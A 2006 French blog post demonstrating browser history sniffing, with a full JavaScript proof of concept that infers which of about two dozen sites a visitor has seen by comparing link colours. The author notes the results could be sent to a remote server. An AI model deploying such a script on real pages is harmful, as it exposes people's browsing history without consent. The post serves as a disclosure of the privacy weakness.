18/12/2006 à 22h08 : Je sais où vous surfez !

Après les cookies, voilà une autre "faille" qui ne va pas rassurer les paranos du web.
En effet, il est possible de déduire les sites webs sur lesquels vous surfez.
Si je veux savoir si vous utilisez Google par exemple, je peux créer des liens vers les différentes adresses possibles (google.fr, www.google.fr, google.com, www.google.com) et tester tout simplement la "couleur" des liens avec un bout de code JavaScript. Le lien aura une couleur différente selon que le site a déjà été visité ou pas.
Couplé à un peu d'AJAX, il est possible de compiler les données et de les envoyer à un serveur distant.
Voici un petit exemple :
<script type="text/javascript">

function isVisited(site)
{
	var foo = document.createElement('a');
	foo.href = 'dummy_link';
	foo.innerHTML = 'x';
	document.body.appendChild(foo);
	
	var lnk = document.createElement('a');
	lnk.href = site;
	lnk.innerHTML = 'x';
	document.body.appendChild(lnk);
	
	var getCssStyleValue = function (domElement, cssStyleProp) {
		return domElement.currentStyle ?
		domElement.currentStyle[cssStyleProp] :
		window.getComputedStyle(domElement,null).getPropertyValue(cssStyleProp);
	}
	
	var color_foo = getCssStyleValue(foo, "color");
	var color_lnk = getCssStyleValue(lnk, "color");
	
	document.body.removeChild(foo);
	document.body.removeChild(lnk);
	
	if (color_foo == color_lnk) return 0;
	return 1;
}

var websites = [
	"http://google.fr/",
	"http://www.google.fr/",
	"http://google.com/",
	"http://www.google.com/",
	"http://fr.yahoo.com/",
	"http://www.yahoo.com/",
	"http://www.clubic.com/",
	"http://linuxfr.org/my/",
	"http://www.hardware.fr/",
	"http://www.cdiscount.com/default.asp",
	"http://mail.google.com/",
	"http://mail.yahoo.com/",
	"http://www.amazon.fr/",
	"http://www.amazon.com/",
	"http://www.ebay.fr/",
	"http://www.ebay.com/",
	"http://www.microsoft.fr/",
	"http://www.microsoft.com/",
	"http://www.msn.fr/",
	"http://www.msn.com/",
	"http://zerezo.com/",
	"http://www.ca-toulousain.fr/",
	"https://www.videoposte.com/",
	"http://www.photos-de-cul.com/"
];

document.write('Visités : <ul>');
for (var i = 0; i < websites.length; i++)
	if (isVisited(websites[i]))
		document.write('<li>' + websites[i] + '</li>');
document.write('</ul>');

document.write('Non visités : <ul>');
for (var i = 0; i < websites.length; i++)
	if (!isVisited(websites[i]))
		document.write('<li>' + websites[i] + '</li>');
document.write('</ul>');

</script>
Et le résultat obtenu : http://royale.zerezo.com/vrac/je-sais-ou-vous-surfez.html

PS1 : Je ne peux pas mettre cette démo en ligne sur mon blog car ici les liens visités/non visités ont la même couleur ;-)
PS2 : Et de toute façon ça ne marcherait pas sur planet.amglr.net qui n'accepte pas les balises <script>.

Source : http://linuxfr.org/~locke/23322.html

Commentaires

Pseudo :
Site : (facultatif)
Email : (facultatif, pour votre avatar)
Message :
(pas de HTML)
: (recopiez le texte)
Se souvenir de mes informations

huats [ 19/12 - 14:19 ] : C'est joli, j'aime bien....